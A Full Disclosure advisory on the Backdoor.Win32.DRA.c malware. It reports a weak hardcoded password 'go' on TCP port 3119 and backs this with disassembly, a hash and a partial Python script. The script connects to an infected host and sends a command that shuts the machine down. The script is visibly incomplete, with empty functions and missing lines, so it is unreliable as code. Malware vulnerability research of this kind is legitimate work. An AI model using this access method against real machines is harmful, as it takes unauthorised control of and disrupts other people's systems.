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Date: Mon, 24 Jan 2022 21:15:42 -0500
From: malvuln <>
Subject: [FD] Backdoor.Win32.DRA.c / Weak Hardcoded Password

Discovery / credits: Malvuln - (c) 2022
Original source:

Threat: Backdoor.Win32.DRA.c
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 3119 and authentication is
required. However, the password "go" is weak and hardcoded in the PE file.
The malware uses "lstrcmpa" Win32 API to check the password, when sending
the password we need to be careful that there is no line feed "\n" E.g.
"go\n", as what happens when sent using ncat or telnet causing
authentication to fail.

00401317                 jz      loc_401218
0040131D                 push    offset aGo      ; "go"
00401322                 push    offset buf      ; lpString1
00401327                 call    lstrcmpA

0040131D | 68 7C 40 40 00           | push
backdoor.win32.dra.c.5ff832ce6af4b | 40407C "go"
00401322 | 68 8C 46 40 00           | push
backdoor.win32.dra.c.5ff832ce6af4b |
00401327 | E8 F4 0C 00 00           | call
<backdoor.win32.dra.c.5ff832ce6af4 |
0040132C | 83 F8 00                 | cmp eax,0
0040132F | 74 2C                    | je
backdoor.win32.dra.c.5ff832ce6af4b03 |
00401331 | 6A 00                    | push 0
00401333 | 6A 11                    | push 11
00401335 | 68 11 4C 40 00           | push
backdoor.win32.dra.c.5ff832ce6af4b | 404C11 "invalid password."
0040133A | FF 35 16 4B 40 00        | push dword ptr ds:[404B16]
00401340 | E8 53 0D 00 00           | call
<backdoor.win32.dra.c.5ff832ce6af4 |
00401345 | 83 F8 FF                 | cmp eax,FFFFFFFF

Type: PE32
MD5: 5ff832ce6af4b03a709eaf380672cf34
Vuln ID: MVID-2022-0470
Disclosure: 01/24/2022

Using ncat, telnet will fail as it sends a new line "\n", so we use a
makeshift Python agent.
Sending the command "Run z\r\n" will initiate a shutdown of the infected

from socket import *
import time


def conn():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))
    return s

def chk_res(s):
    while True:
        res += s.recv(512)
        if "Connected :-) !" in res or "invalid password" in res:
    return res

def doit():


    #Bad passwd


    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    #Correct passwd


    #initiates a shutdown of the infected machine
    #s.send("Run c\r\n")
    s.send("Run z\r\n")


if __name__=="__main__":

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of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
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